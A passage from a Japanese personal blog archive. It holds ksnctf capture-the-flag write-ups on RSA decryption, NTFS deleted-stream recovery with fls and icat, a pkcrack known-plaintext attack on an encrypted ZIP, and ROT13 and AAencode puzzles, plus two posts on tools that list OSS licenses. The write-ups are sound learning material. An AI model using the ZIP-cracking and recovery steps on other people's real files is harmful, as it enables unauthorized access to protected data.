254658780185245562668131009832293474920208834795460061115101364091252176594144096675899952570380792978037217747311595899301451192342027799533264325948876556110474850761538179748318187805312451895898751337975457949549497666542175077894987697085521882531938339334715190663665300179658557458036053188152532948734992896239950564081581184284728802682982779186068791931259198917308153082917381616147108543673346682338045309449569430550618884202465809290850964525390539782080230737593560891353558335337408957948041667929154230334506735825418239563481028126435029,
  c = m^e mod n = 225549592628492616152632265482125315868911125659971085929712296366214355608049224179339757637982541542745010822022226409126123627804953064072055667012172681551500780763483172914389813057444669314726404135978565446282309019729994976815925850916487257699707478206132474710963752590399332920672607440793116387051071191919835316845827838287954541558777355864714782464299278036910958484272003656702623646042688124964364376687297742060363382322519436200343894901785951095760714894439233966409337996138592489997024933882003852590408577812535049335652212448474376457015077047529818315877549614859586475504070051201054704954654093482056493092930700787890579346065916834434739980791402216175555075896066616519150164831990626727591876115821219941268309678240872298029611746575376322733311657394502859852213595389607239431585120943268774679785316133478171225719729917877009624611286702010936951705160870997184123775488592130586606070277173392647225589257616518666852404878425355285270687131724258281902727717116041282358028398978152480549468694659695121115046850718180640407034795656480263573773381753855724693739080045739160297875306923958599742379878734638341856117533253251168244471273520476474579680250862738227337561115160603373096699944163.

You have succeeded in factorization of n using Shor's algorithm as follows:
  n = pq,
  p = 34111525225922333955113751419357677129436029651245533697825114748126342624744832960936498161825269430327019858323450578875242014583535842110912370431931233957939950911741013017595977471949767235426490850284286661592357779825212265055931705799916913817655743434497422993498931394618832741336247426815710164342599150990608143637331068220244525541794855651643135012846039439355101027994945120698530177329829213208761057392236875366458197098507252851244132455996468628957560178868724310000317011912994632328371761486669358065577269198065792981537378448324923622959249447066754504943097391628716371245206444816309511381323,
  q = 44481453884385518268018625442920628989497457642625668259648790876723318635861137128631112417617317160816537010595885992856520476731882382742220627466006460645416066646852266992087386855491152795237153901319521506429873434336969666536995399866125781057768075533560120399184566956433129854995464893265403724034960689938351450709950699740508459206785093693277541785285699733873530541918483842122691276322286810422297015782658645129421043160749040846216892671031156465364652681036828461619272427318758098538927727392459501761203842363017121432657534770898181975532066012149902177196510416802134121754859407938165610800223.

Find the value of m.
The following python script will give you the flag.
#!/usr/bin/env python
m = ????????
print ("%0512x"%m).decode("hex")

RSA暗号でよく見る変数名と数値・数式だ。

解答

RSA暗号っぽいので、RSA暗号のライブラリに食わせるだけで解けそう!
念の為、RSA暗号の式を再度確認。

RSA暗号 - Wikipedia
概要、より。

RSA暗号は次のような方式である: 鍵ペア(公開鍵と秘密鍵)を作成して公開鍵を公開する。まず、適当な正整数 e(通常は小さな数。65537 (= 216 + 1) がよく使われる)を選択する。また、大きな2つの素数 {p, q} を生成し、それらの積 n (=pq) を求めて、{e, n} を平文の暗号化に使用する鍵(公開鍵)とする。2つの素数 {p, q} は、暗号文の復号に使用する鍵(秘密鍵d の生成にも使用し (d = e-1 (mod (p-1)(q-1)))、秘密に保管する。

暗号化(平文 m から暗号文 c を作成する): c = me mod n 復号(暗号文 c から元の平文 m を得る): m = cd mod n

今回与えられているのが、 e = 65537, n, c (= me mod n), n=qp, {p, q} であるので、全く合致する。

SECCON BeginnersCTF 2018 復習 [Crypto] RSA is Power - 好奇心の足跡
の [Crypto] RSA is Power で使用したスクリプトを流用。

math1.py

#!/usr/bin/env python

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from Crypto.Util.number import long_to_bytes

e = 65537
n = (略)
c = (略)
p = (略)
q = (略)

d = inverse(e, (p-1)*(q-1))
key = RSA.construct(map(int, (n, e, d)))
m = key.decrypt(c)

print(long_to_bytes(m))

実行結果

$ python math1.py 
b'This is 4096bit RSA.\nThe flag is FLAG_****** PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING P'

これが150点問題で、他の100点切る問題より解けている人も少ないのが謎。自分が過去にやったことあるバイアスなのかな?それともPwn, Exploit系が苦手すぎるから?

Math II 50pt

問題

How important is modulo arithmetic in cryptography?

Let
  x = 274804002340875032...

Find the value of y such that y^101 = x.

The flag is FLAG_y (in decimal notation).

Math Ⅰ より簡単らしい。まじか。

解答

xがどえらい数になるが、yの101乗がxになるようなyを答えよ、とのこと。

前に一度入れようとして挫折した、pythonの計算ライブラリ gmpy を入れて解いてみることに。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2

x = (略)

gmpy2.get_context().precision=200
y = gmpy2.root(x, 101)

print(y)

最初、precisionの設定をせずに実行したところ、5.4578303274391105e+38 という結果に。これでは概数すぎるので、precision をちょっとずつあげたところ(defaultの53 -> 100 -> 200)、200で整数1桁目まで出た。ここの調整ポイント勉強したいがまぁ答えが出たので後回し。

実行すると、ちゃんと答えが出た。

USB flash drive 80pt

問題

Find the flag.

http://ksnctf.sweetduet.info/q/18/drive.zip

USB flash drive? hardwareの問題?

解答

drive.zipには、drive.imgが格納されていて、imgの中には絵が三枚。

f:id:kusuwada:20180910031111p:plain

まずは file コマンドを試してみる。

$ file drive.img 
drive.img: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 8, hidden sectors 1, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 32767, $MFT start cluster 1365, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0667e77597e77214b; containsMicrosoft Windows XP/VISTA bootloader BOOTMGR

なんか hidden とかあるし、clusterも8個あるらしいし。隠されたファイルがありそうだ。
しばらく使ってなかった、 foremost してみる。ファイル分析して分割してくれるツール。

SECCON 2015 Online CTF を、後追いでみっちりやってみよう! - 好奇心の足跡 > 100_Steganography 1

最初のCTF参加時に使ったきりだった!

$ foremost drive.img
Processing: drive.img
|*|
$ tree output/
output/
├── audit.txt
└── jpg
    ├── 00001040.jpg
    ├── 00001200.jpg
    ├── 00001544.jpg
    └── 00001640.jpg

ふーむ。jpegが1つ増えただけか。jpegはそのまま見てもただの絵でflagが書かれていたりはしないか。。。
と思ったら、増えた絵の下の方にヒントが書いてあった!

f:id:kusuwada:20180910031201p:plain

The flag is in this file, but not in this image.

ちなみに、JpegAnalyzerで見てみようと思って久しぶりに開いたら、「期限切れです」と言われたんだが(JpegAnalyzer Plus1.42)新しいバージョン見つからず。

JpegAnalyzer142が期限切れ in Various 小事~主に・・・?~

ここのサイトに期限切れた際の起動方法が書いてあったが、今回は試さず。一応メモとして残しておく。

絵の領域外に書いてあるとかかしら?バイナリエディタで開いてみる。
jpegフォーマットのサイズが格納されている部分は、フレーム部分。フレーム開始のマーカーは FFC0で、フレームの中身は

データ サイズ(bit)
フレーム開始マーカー 16
フレームヘッダのサイズ(byte) 16
サンプル精度 8
height 16
width 16

なので、バイナリエディタで該当箇所を探して確認。縦方向を延ばしてみる。

| FFC0 | 0011 | 08 | 0277 | 02F5 |
 marker             h(631)  w(757)
↓
| FFC0 | 0011 | 08 | 02F5 | 02F5 |
 marker             h(757)  w(757)

f:id:kusuwada:20180910031306p:plain

うーん、何も現れなかった・・・。違ったくさい。

次。 file じゃなくて fls コマンドを使って、削除されたファイルも抽出してみる。

fls | Forensicist

flsはimage内のファイル、ディレクトリ名を表示する。また、inodeで指定されたiノードを使っているディレクトリの最近削除されたファイル名を表示する。inodeが指定されなければ、ルートディレクトリのiノードの値となる。

$ fls drive.img
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
r/r 8-128-1:    $BadClus:$Bad
r/r 6-128-4:    $Bitmap
r/r 7-128-1:    $Boot
d/d 11-144-4:   $Extend
r/r 2-128-1:    $LogFile
r/r 0-128-1:    $MFT
r/r 1-128-1:    $MFTMirr
r/r 9-128-8:    $Secure:$SDS
r/r 9-144-11:   $Secure:$SDH
r/r 9-144-5:    $Secure:$SII
r/r 10-128-1:   $UpCase
r/r 3-128-3:    $Volume
r/r 35-128-1:   Carl Larsson Brita as Iduna.jpg
r/r 37-128-1:   Mona Lisa.jpg
r/r 38-128-1:   The Great Wave off Kanagawa.jpg
-/r * 36-128-1: Liberty Leading the People.jpg
-/r * 36-128-4: Liberty Leading the People.jpg:00
-/r * 36-128-5: Liberty Leading the People.jpg:01
-/r * 36-128-6: Liberty Leading the People.jpg:02
-/r * 36-128-7: Liberty Leading the People.jpg:03
-/r * 36-128-8: Liberty Leading the People.jpg:04
-/r * 36-128-9: Liberty Leading the People.jpg:05
-/r * 36-128-10:    Liberty Leading the People.jpg:06
V/V 256:    $OrphanFiles

おお、なんか削除済みファイルがたくさん出てきましたね。People.jpgの00~06がアヤシイ。
Forensicistツール The Sleuth Kit兄弟の、icatで抽出してみる。

icat | Forensicist

指定したiノード番号に基づくファイルのコンテンツを出力する

flsで確認したノード番号で抽出できる。
1つ目のファイルが、中身がtxtで FLA だったため、つないだらFLAGが出てきそう!と予想。

$ icat drive.img 36-128-4 > People.jpg:00
$ icat drive.img 36-128-5 > People.jpg:01
$ icat drive.img 36-128-6 > People.jpg:02
$ icat drive.img 36-128-7 > People.jpg:03
$ icat drive.img 36-128-8 > People.jpg:04
$ icat drive.img 36-128-9 > People.jpg:05
$ icat drive.img 36-128-10 > People.jpg:06
$ cat People.jpg\:00 People.jpg\:01 People.jpg\:02 People.jpg\:03 People.jpg\:04 People.jpg\:05 People.jpg\:06
FLAG_******

出た!!!

ZIP de kure 150pt

問題

What anyone uses is actually secure?

The ASCII art has no meaning.

           |;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ノ| 
           |丶、 ;;; __;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;_,,: ィ";;_| 
           ト、;;;;;;;;;;;;;;;` ` '' ー -- ‐ '' ";;;;;;;;;,:ィ;:;! 
          ,';:``' ‐ョ 、 ,_ ;;;;;;;;;;;;;;;;;;;;;;;;;;; , - '"l;:;:;:;:l
          l;:;:;:;:;:;:;ミ   ` ` '' ー -‐ '"    ,リ;:;:;:l 
          l;:;:;:;:;:;:;:ゝ   く三)   (三シ  `ヾ;:t、
         fミ{;:;:;:;:f'´  , ---_,, _,ィ 、_,,ィ,.--、  };f } 
         l トl;:;:;:;:l  、,ィ或tュ、゙:ミ {,'ィt或アチ l:l,/
         ゙i,tヾ:;:;:!  `ヽ 二ノ   ト ` ‐''"´  l:l:f 
          http://ksnctf.sweetduet.info/q/19/flag.zip
           `"^l:l      ,/゙ー、  ,r'ヽ    l 
             ゙i    ,ノ    `'"  丶.   ,
               ゙l、   ′ ,, ィrェェzュ、,_ 〉 } / 
              ',ヽ  ヘヾ'zェェェッ',シ' //ヽ
               } 丶、 ` ー--‐ '"'´,/ノ:.:.:ヽ 
              /l   丶、      ,.イ:.:.:.:.:.:.:.:丶、、
            ,r'"^l !    ` ー‐;オ´:.:.:.:.:.:.:.:.:.,ノ  ,}、 
       ,. -ァ=く(:.:.:.l  l      //:.:.:.:.:.:., - '"  ,/ ヽ、 
    , - '"´ / ,/`>'t、_」___,ィ'゙,ィ,.: -‐ '" ,. -‐ '"    \ 

AA!! しかもAAには意味ないらしい。ホントかな。

解答

とりあえずAAのどまんなかにあるURLのzipを落とす。
flag.zipを開こうとすると、パスワードを求められた。

前やったzipにパスワードが掛かってる系の問題、合ったなぁと思って探したらこれだった。 SECCON 2015 Online CTF を、後追いでみっちりやってみよう! - 好奇心の足跡 > 100_Unzip the file

コマンドからunzip試してみると、ヒントが貰える。

$ unzip -v flag.zip 
Archive:  flag.zip
Hint:
- It is known that the encryption system of ZIP is weak against known-plaintext attacks.
- We employ ZIP format not for compression but for encryption.
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
     304  Stored      304   0% 06-03-2012 18:14 d66cb67b  flag.html
  255964  Stored   255964   0% 06-03-2012 18:10 af308dc8  Standard-lock-key.jpg
--------          -------  ---                            -------
  256268           256268   0%                            2 files

このヒントも上の平文攻撃の話じゃない? Standard-lock-key.jpg ってのが怪しいな。ググるWikiMediaというのがヒットした!!!

File:Standard-lock-key.jpg - Wikimedia Commons

自由に使っていい画像っぽい。
これをダウンロードしてzipにしてみる。

$ zip key.zip Standard-lock-key.jpg
  adding: Standard-lock-key.jpg (deflated 3%)
$ unzip -v key.zip 
Archive:  key.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  500751  Defl:N   484448   3% 08-15-2018 19:48 64626f39  Standard-lock-key.jpg
--------          -------  ---                            -------
  500751           484448   3%                            1 file

うーん、なんか違うな?サイズも半分くらいのはずだ。
2サイズ合ったから、小さい方のをDLして試してみよう。

$ zip key2.zip Standard-lock-key2.jpg
  adding: Standard-lock-key2.jpg (deflated 9%)
$ unzip -v key2.zip 
Archive:  key2.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  255964  Defl:N   232952   9% 08-15-2018 19:53 af308dc8  Standard-lock-key2.jpg
--------          -------  ---                            -------
  255964           232952   9%                            1 file

お、Lengthが一致した!こっちの画像っぽい。Sizeが一致しないのはCmpr、圧縮率。問題のやつは圧縮していないようなので、圧縮しないでzip化すると、一致した。

$ zip -0r key5.zip Standard-lock-key2.jpg 
  adding: Standard-lock-key2.jpg (stored 0%)
$ unzip -v key5.zip 
Archive:  key5.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  255964  Stored   255964   0% 08-15-2018 19:53 af308dc8  Standard-lock-key2.jpg
--------          -------  ---                            -------
  255964           255964   0%                            1 file

既知平文攻撃っぽいので、PkCrack をつかって解読を試みる!

$ pkcrack -C flag.zip -c Standard-lock-key.jpg -P key5.zip -p Standard-lock-key2.jpg -d decrypted.zip

ちょっと時間がかかった(1分くらい?)が、無事 decrypt された zip が取り出せた!!中に入っていたもう一つのファイル、 flag.html に答えが書いてありました。
やったことある系の問題が順調に解けて嬉しい٩(๑❛ᴗ❛๑)۶

G00913 30pt

問題

FLAG_Q20_{first 10-digit prime found in consecutive digits of π}

これは。。。英語力が試されている・・・!!!
google翻訳だ!!

最初の10桁の素数はπの連続桁にあります

惜しい!

解答

円周率の連続する数字で、最初に出てくる10桁の素数は?

頭から10桁ずつ試していって、素数かどうか判定しながらやってけば良さそう。
gmpyに is_prime 関数あるから、これが使えそう。

いつもどおりpythonで組んでみたのだけど、pythonのint, round関数に苦しめられた。

2. 組み込み関数 — Python 3.6.5 ドキュメント

上記python3の公式ページでの注釈

注釈 浮動小数点数に対する round() の振る舞いは意外なものかもしれません: 例えば、 round(2.675, 2) は予想通りの 2.68 ではなく 2.67 を与えます。これはバグではありません: これはほとんどの小数が浮動小数点数で正確に表せないことの結果です。詳しくは 浮動小数点演算、その問題と制限 を参照してください。

とある。正確な浮動小数点を扱うには、 decimal モジュールを使用する必要があるそうだ。前にも調べて「へぇ〜」と思った気がするが、本当にすぐ忘れてしまう。

とりあえず組んでみた。早い段階で出てこないとオーバーフローしてしまうのが確実なプログラムではある・・・。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2
import math
from decimal import *

d = 9
while True:
    pi10d = \
        Decimal(Decimal(math.pi * pow(10,d))).quantize(Decimal('1.'), rounding=ROUND_DOWN) - \
        Decimal(Decimal(math.pi * pow(10,d))).quantize(Decimal('1E10'), rounding=ROUND_DOWN)
    print(int(pi10d))
    print(gmpy2.is_prime(int(pi10d)))
    if gmpy2.is_prime(int(pi10d)):
        break
    d += 1

実行結果

$ python prime.py 
3141592653
False
1415926535
False
4159265358
False
1592653589
False
5926535897
True

よかった、オーバーフローする前に答えが見つかった!
ちなみに、見つからなかった場合18回目でオーバーフローした。

使用しているOSSの一覧取得やライセンス確認を自動化/CI化したい話

製品やサービスを作って出荷・リリースする際に、中で使用しているOSSのライセンスをリストアップしたり確認したりするのって必須ですよね?
ただこの作業、人手でやるにはかなり面倒なところ。皆さんはどういうふうに使用しているOSSライセンスを確認されていますか?

OSSライセンスの種類や考え方、それぞれのライセンスで許可されていること・禁止されていることについての解説は下記などを参考にしていただくとして、
この記事では「じゃあ実際どうやって管理するの?」という点について書きたいと思います。

やりたいこと

サービスのリリース時に、使用しているOSSのライセンスが自分たちの使い方・情報提供方法で問題がないかを手軽に確認したい。特に、使用するOSSが全てpackage manager系のツールで管理されているようなプロジェクト において、手軽にOSSの一覧とそのライセンス形態がリストアップできないか?もしそれができるなら、OSSライセンスチェックをCIに組み込んで、想定外のライセンスが混入することを開発段階で防げないか?と思ったのが始まりでした。
会社によっては、実際のサービスインの前にOSS一覧を法務などに提出して、ちゃんと法的に問題ないか確認してもらうようなプロセスが整っているところもあるかと思います。そういったときも、前述の条件のような開発プロジェクトであれば、OSSとそのライセンスのリストアップくらいは自動でちゃちゃっとできるんじゃないかなーと。
また、CIで開発者が簡易的に確認しつつ、最終的にしっかり法務に確認してもらう、という両方でチェックができても良いかと思います。CIレベルで確認することによって、明らかに想定外のライセンスのOSSが混入している場合は、傷が浅いうちに気づくことができます。

f:id:kusuwada:20180907022515p:plain

ということで、これが実現できそうな「お手軽に使用しているOSS(とライセンス)の一覧を作れる」ツールを探しました。

OSSリストアップ・ライセンス確認ツールいろいろ

1. Github ライブラリ

github.com

githubからlicensedというライブラリが出ています。

紹介サイト(日本語)があったのでリンク。

OSSライブラリのライセンスをチェックしてくれるGitHub製ツール「licensed」 - Engineer's Way

特徴

  • npmやgemなどでインストールしたOSSライブラリのライセンスを集めてリストを作ってくれる。
  • 自分たちが許可してないライセンス(商用プロダクトにおけるGPLとか)が含まれていると教えてくれる。
  • 自分たちが直接使っているライブラリだけでなく、そのライブラリが依存している先のライブラリもどんどん掘り下げて集めてくれる。
  • GitHubの社内ツールがOSSとして公開されたもの。
  • rubyで書かれている。

ということでした。これが使えるなら、これを使うのが良さそう!
Github側のREADMEも見ましたが、現在対応しているSourceが下記とのこと。(2018年9月5日現在)

  • Bower
  • Bundler (rubygem)
  • Cabal
  • Go
  • Go Dep
  • Manifest lists
  • NPM
  • Pip

これらのパッケージでOSSを管理しているぜ!という場合は、このモジュールを使うのが良さそう。

2. Cookpad社のライブラリ

github.com

こちらの記事で紹介されていました。

オープンソースライセンスの管理を楽にする -Android アプリ編 - クックパッド開発者ブログ

特徴

こちらはAndroidアプリにおいて有用そうです。
また、これを改造した記事も見つけました。
オープンソースライセンスの管理をもっと楽にするために Cookpad のプラグインをフォークしてみた

3. ドンピシャの機能のライブラリが見つからなかったので作ってみた

Githubのlicensed、私が調査した時点ではまだPython(Pip)に対応していなかったたのと、問題のないOSSもライセンスやコード置き場へのリンクを含んだ情報をcsvでリストアップしたかったため、下記ツールを作成しました。

github.com

特徴

  • Github上のコードから、npmやgem,pipyなどのライブラリ管理ファイルをクロールしてOSS一覧を出力する
  • バージョン・ライセンス・著作者・ホームページ・ソースリポジトリなどの情報が出力できる
  • 現在対応しているのは gemfile (ruby gem), requirements.txt,
  • csv形式での出力に対応
  • 中身はpython

出力例

vuejs/vue リポジトリに対するクロール結果

f:id:kusuwada:20180905232834p:plain

本ツールの使用方法・その他のデモはこちらをご参照ください。

kusuwada.hatenablog.com

※ 自分の関わっている開発プロジェクト+αでの使い勝手のみ考慮して作成したので、対応言語が少なかったり機能も少ない状態です。プルリクエスト・issueなど歓迎しております。

解決手段 番外編

「お手軽に」とか、やりたかったこと、の開発プロジェクトの前提条件は無視して、とにかくOSSライセンスをしっかり確認・管理したいしたい場合の手段。

4. 有償ライセンス管理ソフトを使用する

これらが有名どころです。他のOSSライセンス管理と違い、OSSコードをコピーしてきたことが疑われるコードの検出機能がついていたり、パッケージ管理ファイルからのみの抽出ではなくソース自体を検査してくれるなど、他のOSSライブラリよりかなり手厚いライセンス管理が実現できます。
ただ、利用料が年額数万円以上とかなり高額になっており、小規模企業や個人開発には向かないという印象です。
製品開発の一部をまるっと外部に委託していて中に何がどう入っているかわからない状態のときは、こういったソフトを使うのが良いかと思います。

5. OSSライセンス管理ソフトを使用する

ライセンス管理ソフトを調査した差異、OSSのものはなかなかないな、という印象でした。そんな中で出会ったの下記になります。

特徴

  • 自サーバーもしくはPCにLocalServerを立ててGUIを起動して使用する
  • HP内製のライセンス文章抽出機能を使って、ソース中のライセンスと思われる表記を拾ってくる
  • 解析対象はソースコードなので、検出したいPackageが全て解析対象の中に本体が入っている必要がある
    • ※ package管理ファイルに記載されているだけではNG

ちょっと試しに利用してみましたが、文章抽出だからか、ソースによっては誤検出がかなり多かったです。また、解析対象にOSSコード本体を含んでいる必要があるため、package管理ファイルで管理しているライブラリもすべて取り込み済みの状態で解析に投げる必要があります。サーバーサイドで動作するようなコードだと特に、この状態になるのが実機上でのみだったりするので、そいういう用途では使用のハードルが若干高いように感じました。

まとめ

実はまだCIへの組み込みまではできていませんが、うまく回ったらまた記事を書きたいです。また「やりたいことが実現できそうなツールは他にもあるが、見つけられていないだけ」という可能性が高いので、見つけ次第この記事を更新していく予定です。

今回は開発した「ソースコード」のOSSライセンス確認に焦点を当てましたが、実際サーバーサイドで動作するようなサービスの場合は、動作環境に直接インストールされるようなOSSだったり、使用しているImageに予め入っているOSSだったりの確認も必要なのかな、と思ったりしています。このへんのライセンスに関する考え方はなかなかWeb上だけでは情報を集めづらく、専門家にお話を伺いたいところ。
この場合は利用するImageと、構築スクリプト内でinstallしているモジュールを拾ってこれれば同じようにCIに組み込めそうですね。

お硬い会社ではこの方法だけでOSSライセンスの確認OK!問題なし!とはならないと思いますが、開発の助けにはなるんじゃないかと思います。
個人開発の場合や、現在OSSライセンス確認できていないなぁというプロジェクトは、こういったツールをまずは導入してみるのが良いんじゃないでしょうか。

Githubのコードから使用しているOSS一覧とライセンスなどの情報を収集するツール紹介

Githubのコードから使用しているOSS一覧を収集するツールを作ったので、使い方やデモを紹介します。

github.com

機能

Githubの指定したリポジトリからOSSライブラリ管理ファイル(Gemfile, package.jsonなど)をクロールし、管理ファイルに書かれたOSSの情報をとってきてcsvやtext形式で出力します。
事前にGithubのtokenを取得しておけば、privateリポジトリの情報もクロールできます。

※ライブラリ管理ファイル以外で管理されているOSS(直接ライブラリが埋め込まれている)や、OSSソースコードのコピーは検出できませんのでご注意ください。

開発プロセスに「OSSを使用するときはライブラリ管理ファイルを使用すること」がルール付けられている、もしくはレビューでこれが担保されているような場合は、OSSライセンス確認ツールとしてお使いいただきやすいかと思います。
個人開発時のOSSライセンスチェックとしても使いやすいかと思います。

2018年9月現在の機能一覧

  • 対応source
  • 対応ライブラリ管理ファイル:
  • 収集情報
    • ライブラリ名
    • 指定バージョン (version)
    • 著作者 (author)
    • ライセンス (license)
    • ホームページ (homepage url)
    • ソースコード置き場 (source code url)
  • 出力形式

インストール

python3 で動くので、python3環境を用意してください。
後は下記コマンドで git clone するか、zipでリポジトリを落としてきます。

$ git clone https://github.com/kusuwada/libcollector.git
$ cd libcollector
$ pip install -r requirements.txt

以上。

使い方

まずはサンプルを動かしてみる

$ cd libcollector
$ python libcollector.py

これで、sampleとして kusuwada/libcollector のリポジトリOSS一覧がcsv形式で出力されます。
数が少なくて物足りない場合は、 libcollector/settings.yml を開いて、コメントアウトしてある vuejs/vue などの公開リポジトリを入れて実行してみてください。

vuejs/vue リポジトリに対するクロール結果

f:id:kusuwada:20180905232834p:plain

事前準備

もしprivateリポジトリを対象にしたい場合や、高い頻度で回したい場合は、github access token for commandline を取得しておきます。
取得方法は下記を参照。
GitHub Help: Authenticating to GitHub.
scope selectionではrepoの権限を選択してください。

設定

libcollector/settings.ymlを編集します。

target_repositories

クロール対象のリポジトリを設定します。フォーマットは下記です。

{owner}/{repository}

例:

target_repositories:
  - kusuwada/node-slack-log-exporter
  - kusuwada/ruby-slack-log-exporter
  - requests/requests

プライベートリポジトリも同様に設定できます。

target_manager

クロール対象のライブラリ管理ファイルを指定できます。
基本的には初期設定で問題ないかと思いますが、特定の言語・特定の管理ファイルで管理されているOSSだけ収集したい・処理を高速化したいときは、不要なものを外してください。

output

出力形式を指定できます。出力形式は複数指定できます。指定フォーマットは下記になります。

{output_type}: {output_path}

optional_information

出力時に出力する情報を制限できます。
これらのoptionをすべてFalseにすると、ライブラリ名・バージョンのみの出力となります。また、ライブラリ情報を取りに行かないため処理が高速になります。

デモ

サンプルの vuejs/vue リポジトリjavascript メインのリポジトリだったので、他の言語のリポジトリも。

sinatra/sinatra (ruby/Gemfile)

f:id:kusuwada:20180905235135p:plain

gunthercox/ChatterBot (python/requirements.txt)

f:id:kusuwada:20180906000853p:plain

ksnctf write-up #1 (#1~#10)

ksnctfというものの存在を知ったので、やってみた話。
レベル感が今の自分にちょうどよく、問題も36問!もあるため、とても良い練習・演習になった。
エスパー問題も少なかったように思うし、一度やったことある問題は確実に取れる。楽しい問題が多かったように思う。(つらそうな問題は解いていないというのもある)

ksnctf.sweetduet.info

常設CTF。@kusano_k さん作成・運営のCTFで、CTF初心者の登竜門的位置づけ・・・らしい。
さすが常設CTFで5000人弱がトライしているだけあって、タイトル名やキーワードで検索するとwrite-upにほぼ必ず遭遇する。そのため、今回ググるときは -ksnctf を必ずつけるようにした。ksnctf, 単語としてかぶることがない上にwrite-upには必ず書いてあるので、上記検索条件だと確実にwrite-upをフィルタできていい感じ。

Web、Network、Crypto、Programing、Misc あたりを解きたい。苦手なジャンルはパスする方針で。残念ながらksnctfはジャンルがわからないんだけども。(1周目が終わった時にぐぐったら、ジャンル分けするならページがあったのでこれを参考にした。でもジャンルが書いてないからこそ面白い問題もあったので、最初からジャンル分け見なくて正解だった。)

常設CTFなので、一応FLAGそのものは伏せてみる。

f:id:kusuwada:20180905121635p:plain

Test Problem 1pt

問題

This is a test problem. Submit the following flag and make sure that you can get points.

FLAG_SRORGLnTh2Q5fTwu

解答

そのまま

Easy Cipher 50pt

問題

EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.

解答

換算暗号っぽい。そのままフラグが書いてあるとすると、 FLAG_*** のはずだけど見当たらない。
一/二/三文字の単語で n na bs vg va vf gur というのが見られるので、、このへんから当たりをつける。おそらく gurthe で、 na でしょう。
楽しい!(๑˃̵ᴗ˂̵)و
対応表を作ってみる。

n: a
g: t
u: h
r: e
a: n
v: i
b: o
s: f
f: s

これくらい出てきたところで、ROT13っぽいなぁと言うのがわかる。この前MNCTFで作っておいたROT13変換コードで変換。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

enctypted = "EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT."

output = ""

alphabet = list(string.ascii_lowercase)

def rot13(c):
    return alphabet[(alphabet.index(c) + 13) % 26]

def rot13_robust(c):
    if c.isdigit():
        return c
    if c.isupper():
        return rot13(c.lower()).upper()
    if c.islower():
        return rot13(c)
    else:
        return c

for c in enctypted:
    output += rot13_robust(c)
    
print(output)

実行すると、こんなん出てきた。

ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII letters after it in the alphabet. ROT XIII is an example of the Caesar cipher, developed in ancient Rome. Flag is FLAGSwzgxBJSAMqwxxAU. Insert an underscore immediately after FLAG.

この文章の通りFLAGをちょっと変えて入れたらOK!

Crawling Chaos 100pt

問題

http://ksnctf.sweetduet.info/q/3/unya.html

解答

指定のURLにアクセスすると、こんなフォームが。適当に入れると No というメッセージのダイアログが上がってくる。

f:id:kusuwada:20180905113126p:plain

ようわからんので、とりあえずソースを見てみると、なんと大量の猫が!!!

f:id:kusuwada:20180905113128p:plain

気になったので唯一読めたところ、 這いよれ! ニャル子さん ググってしまったよ・・・。
script文の中に挟まっているので、script文について調べる。

<script>: スクリプト要素 - HTML: HyperText Markup Language | MDN より

省略または JavaScriptMIME タイプ: HTML5 に準拠するブラウザーでは、これはスクリプトJavaScript であることを示します。HTML5 仕様書では、冗長な MIME タイプを指定せずに属性を省略するよう主張しています。

とのことなので、特にひねり無く javascript として解釈されているはず。
となると、まさか難読化されているのか?これが??このAAたちが?と思ったが、タイトルともマッチしている。

"顔文字" "javascript" "難読化" でググってみると、こんなサイトが。どうやら AAエンコード というジャンルが存在するらしい。

AAエンコード JavaScriptが顔文字に!? | カニとモモンガと愉快なユウ

ここからリンクされている AAEncode が試せるサイト。残念ながらエンコードのみでデコード機能はない様子。

aaencode - Encode any JavaScript program to Japanese style emoticons (^_^)

で、AAデコードしてくれるサイトがあったので、試しに入れてみる。

aadecode - Decode encoded-as-aaencode JavaScript program. ['_']

と、エラー。そのまま使えるわけではないようだ。確かにAAだけじゃなくて「うーーー」とか「にゃーー」とか入ってるもんな・・・。

ダメ元で aaencode うー にゃー でググってみる。と、あった!!!!!

(」・ω・)」うー!(/・ω・)/にゃー!encode

